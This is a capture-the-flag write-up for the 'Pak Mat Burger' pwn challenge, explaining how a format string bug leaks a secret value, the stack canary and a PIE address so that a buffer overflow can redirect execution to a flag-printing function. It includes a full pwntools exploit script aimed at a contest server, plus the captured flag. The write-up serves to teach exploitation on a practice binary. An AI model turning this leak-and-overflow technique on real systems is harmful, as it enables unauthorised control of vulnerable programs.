Pak Mat Burger [pwn]
Format string attack to leak information to perform buffer overflow on binary with stack protection + PIE.
PS: I didn’t solve this during the contest because skill issue :’)
Analysis
The program reads an environment variable SECRET_MESSAGE
and first asks the user to enter this value correctly. If we look at the Dockerfile, we see that this environment variable is populated at container creation within start.sh
, and has 8 bytes of value (8 hex characters).
# Generate a new random SECRET_MESSAGE for each connection
export SECRET_MESSAGE=$(openssl rand -hex 4 2>/dev/null)
The comment is a big big lie that I only realised after the competition ended. The value will stay the same for each connection because the container isn’t recreated every time.
Using checksec
, we see that the program has full protection on (PIE, stack canary, NX).
We notice that there is a format string vulnerability, and if we enter the value of the environment variable correctly, we get access to a buffer overflow vulnerability since s
has size 10 only.
The goal here is to alter control flow into secret_order
where the flag is printed to us.
Solution
We know for certain we have to leak these values using format string attack.
- Environment variable
SECRET_MESSAGE
- Stack canary (to buffer overflow with stack protection)
- Any PIE address value (to calculate PIE base)
By using GDB to break right before the vulnerable printf
is called, we see that the pointer of SECRET_MESSAGE
is at the top of the stack.
The stack canary can be found at $rsp + 0x38
. We know this since it looks quite random and also because it is right above $rbp
. A typical stack frame looks like:
+-----------------+
| |
| local variables |
| |
+-----------------+
| stack canary |
+-----------------+
| saved RBP |
+-----------------+
| return address |
+-----------------+
...
For PIE address, I used the one at $rsp + 0x58
, which is the address of main
that was passed in as an argument to __libc_start_main
.
To leak values on the stack, we can use the parameter field of format strings. Since 6 registers are used for parameters before the stack is used, the first value on the stack will be referred to with %6$p
(or other formats than p
). Since we are working with 64 bit programs, each increment of the field will go to the next 8 bytes (word size).
Something like this:
def offset_to_fmt(offset, fmt):
return f"%{6 + offset // 8}${fmt}"
The 3 values and their offsets with respect to $rsp
:
SECRET_MESSAGE
: 0x00- Stack canary: 0x38
main
address: 0x58
However, the final format string to leak all at once would be more than 11 characters long. But since SECRET_MESSAGE
stays the same, we can leak it first, then only leak the latter two values in a new connection.
After getting the address of main
, we subtract that by its offset to get the PIE base address, which is then added by the offset of secret_order
to get the actual address of secret_order
.
Finally, for the buffer overflow, we will need a padding of 0x25
since the buffer s
is at rbp-2Dh
according to IDA.
0x2D = 0x25 (padding) + 0x8 (stack canary)
The final payload will be: padding + stack canary + padding for saved rbp + address of secret_order
Final Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("pakmat_burger_patched")
context.binary = exe
def conn():
if args.LOCAL:
context.log_level = "debug"
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
context.log_level = "debug"
r = remote("13.229.150.169", 34061)
return r
def offset_to_fmt(offset, fmt):
return f"%{6 + offset // 8}${fmt}"
def get_secret():
r = conn()
fmt_str = offset_to_fmt(0, "s")
r.sendlineafter(b": ", fmt_str.encode())
r.recvuntil(b" ")
secret_msg = r.recvn(8)
r.close()
return secret_msg
def main():
secret_msg = get_secret()
r = conn()
pause()
# rsp offsets
canary_offset = 0x0038
main_addr_offset = 0x0058
fmt_str = offset_to_fmt(canary_offset, "p") + offset_to_fmt(main_addr_offset, "p")
r.sendlineafter(b": ", fmt_str.encode())
r.recvuntil(b" ")
canary = int(r.recvn(18).decode(), 16)
main_addr = int(r.recvuntil(b",")[:-1], 16)
exe.address = main_addr - exe.sym["main"]
info("canary: " + hex(canary))
info("main addr: " + hex(main_addr))
info("pie base: " + hex(exe.address))
r.sendlineafter(b": ", secret_msg)
r.recvline()
r.sendline(b"anything")
secret_order = exe.sym["secret_order"]
payload = b"A" * 0x25 + p64(canary) + b"B" * 8 + p64(secret_order + 5)
r.sendlineafter(b": ", payload)
print(r.recvall())
if __name__ == "__main__":
main()
Flag: wgmy{4a029bf40a28039c8492acfa866f8d96}